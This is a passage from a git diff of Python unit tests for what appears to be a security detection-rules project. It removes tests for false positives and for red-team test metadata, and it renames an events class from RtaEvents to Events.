warnings.warn(msg) - - def test_false_positives(self): - """Test that expected results return against false positives.""" - for rule in self.all_rules: - if rule.contents.data.type == "query" and rule.contents.data.language == "kuery": - for fp_name, merged_data in get_fp_data_files().items(): - msg = 'Unexpected FP match for: {} - {}, against: {}'.format(rule.id, rule.name, fp_name) - self.evaluate(copy.deepcopy(merged_data), rule, 0, msg) - - -class TestRTAs(unittest.TestCase): - """Test that all RTAs have appropriate fields added.""" - - def test_rtas_with_triggered_rules_have_uuid(self): - """Ensure that all RTAs with triggered rules have a UUID.""" - - rule_keys = ["rule_id", "rule_name"] - for rta_test in sorted(get_available_tests().values(), key=lambda r: r['name']): - - self.assertIsNotNone(rta_test.get("uuid"), f'RTA {rta_test.get("name")} missing uuid') - for rule_info in rta_test.get("siem") or []: - for rule_key in rule_keys: - self.assertIsNotNone(rule_info.get(rule_key), - f'RTA {rta_test.get("name")} - {rta_test.get("uuid")} missing {rule_key}') diff --git a/tests/test_utils.py b/tests/test_utils.py index 1d86e01db..478890642 100644 --- a/tests/test_utils.py +++ b/tests/test_utils.py @@ -9,7 +9,7 @@ import time import unittest from detection_rules.utils import normalize_timing_and_sort, cached -from detection_rules.eswrap import RtaEvents +from detection_rules.eswrap import Events from detection_rules.ecs import get_kql_schema @@ -57,7 +57,7 @@ class TestTimeUtils(unittest.TestCase): """Test that events are normalized properly within Events.""" events_data = self.get_events() for date_format, events in events_data.items(): - normalized = RtaEvents({'winlogbeat': events}) + normalized = Events({'winlogbeat': events}) self.assert_sort(normalized.events['winlogbeat'], date_format) def test_schema_multifields(self):